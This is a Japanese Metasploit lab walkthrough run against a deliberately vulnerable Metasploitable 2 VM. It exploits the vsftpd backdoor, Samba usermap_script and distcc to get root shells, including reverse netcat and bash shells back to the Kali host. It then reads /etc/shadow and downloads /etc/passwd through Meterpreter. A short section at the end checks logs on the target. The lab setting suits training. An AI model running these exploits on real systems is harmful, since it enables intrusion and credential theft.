Metasploit Framework 実習 — 脆弱性の悪用と修復

# Kali Linux 側で確認

ip addr show eth1

# 例: inet 192.168.56.102/24

# Metasploitable 2 のIPアドレスにpingが通るか確認

ping -c 3 192.168.56.101

# PING 192.168.56.101 (192.168.56.101) 56(84) bytes of data.

# 64 bytes from 192.168.56.101: icmp_seq=1 ttl=64 time=0.45 ms

# Nmapで事前スキャンしてターゲットの全体像を把握

sudo nmap -sV -p- 192.168.56.101

# Metasploit Framework を起動

msfconsole

# 起動後のプロンプト

# msf6 >

# ヘルプの表示

msf6 > help

# モジュールの検索

msf6 > search vsftpd

# Matching Modules

# ================

# Name Disclosure Date Rank Check

# ---- --------------- ---- -----

# exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No

# モジュールの詳細情報を表示

msf6 > info exploit/unix/ftp/vsftpd_234_backdoor

# モジュールを選択

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

# msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

# 現在のオプションを確認

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

# モジュールを選択してオプションを設定

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

# ターゲットIPを設定

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.101

# RHOSTS => 192.168.56.101

# ペイロードを確認（このexploitはcmd/unixを使用）

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

# 実行

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

# [*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)

# [*] 192.168.56.101:21 - USER: 331 Please specify the password.

# [+] 192.168.56.101:21 - Backdoor service has been spawned, handling…

# [+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root)

# [*] Found shell.

# [*] Command shell session 1 opened

# バックドアシェルでのコマンド実行

id

# uid=0(root) gid=0(root) groups=0(root)

whoami

# root

uname -a

# Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008

# セッションを終了

exit

# 新しいモジュールを検索・選択

msf6 > search samba usermap

# exploit/multi/samba/usermap_script 2007-05-14 excellent No

msf6 > use exploit/multi/samba/usermap_script

# オプションの設定

msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.56.101

# RHOSTS => 192.168.56.101

# Reverse TCPペイロードを設定（攻撃者側に接続させる）

msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse_netcat

# PAYLOAD => cmd/unix/reverse_netcat

# 自分（Kali）のIPアドレスを設定

msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.56.102

# LHOST => 192.168.56.102

# 全設定を確認

msf6 exploit(multi/samba/usermap_script) > show options

# Name Current Setting Required Description

# ---- --------------- -------- -----------

# RHOSTS 192.168.56.101 yes Target IP

# RPORT 139 yes Target port (TCP)

# LHOST 192.168.56.102 yes Listen address

# LPORT 4444 yes Listen port

# 実行

msf6 exploit(multi/samba/usermap_script) > run

# [*] Started reverse TCP handler on 192.168.56.102:4444

# [*] Command shell session 2 opened (192.168.56.102:4444 -> 192.168.56.101:…)

# [*] Found shell.

# rootシェルでの操作

id

# uid=0(root) gid=0(root)

cat /etc/shadow | head -5

# root:$1$/…/…（パスワードハッシュが見える）

# Metasploitable 2 の distccd 脆弱性を使用

msf6 > use exploit/unix/misc/distcc_exec

msf6 exploit(unix/misc/distcc_exec) > set RHOSTS 192.168.56.101 msf6 exploit(unix/misc/distcc_exec) > set PAYLOAD cmd/unix/reverse_bash msf6 exploit(unix/misc/distcc_exec) > set LHOST 192.168.56.102 msf6 exploit(unix/misc/distcc_exec) > run

# --- Meterpreter を持つ例（linux/x86/meterpreter/reverse_tcp）---

# Meterpreter セッションが開いた場合の操作例:

meterpreter > sysinfo

# Computer : metasploitable

# OS : Linux 2.6.24-16-server #1 SMP

# Architecture : i686

# Meterpreter : x86/linux

meterpreter > getuid

# Server username: root

meterpreter > ls /home

# Listing: /home

# d msfadmin

# d user

# ファイルのダウンロード（証拠保全の演習として）

meterpreter > download /etc/passwd /tmp/metasploitable_passwd.txt

# ネットワーク情報の収集

meterpreter > ifconfig

# プロセス一覧

meterpreter > ps

# セッションをバックグラウンドに移動

meterpreter > background

# [*] Backgrounding session 1…

# セッション一覧の確認

msf6 > sessions -l

# Active sessions

# ===============

# Id Name Type Connection

# — ---- ---- ----------

# 1 meterpreter x86/linux 192.168.56.102:4444 -> 192.168.56.101:…

# セッションへの再接続

msf6 > sessions -i 1

# ターゲット側（別ターミナルでMetasploitable 2 に直接ログインして確認）

# SSH等でMetasploitable 2 にログイン後:

# 認証ログの確認

sudo tail -50 /var/log/auth.log

# ネットワーク接続の確認

netstat -antp | grep ESTABLISHED

# 予期しないリスニングポートの確認

netstat -antp | grep LISTEN

# 最近実行されたプロセスの確認

ps aux —sort=-%cpu | head -20

# PostgreSQLサービスを起動

sudo service postgresql start

# Metasploitデータベースを初期化（初回のみ）

sudo msfdb init

# データベースの状態確認

msfdb status

# 再度起動

msfconsole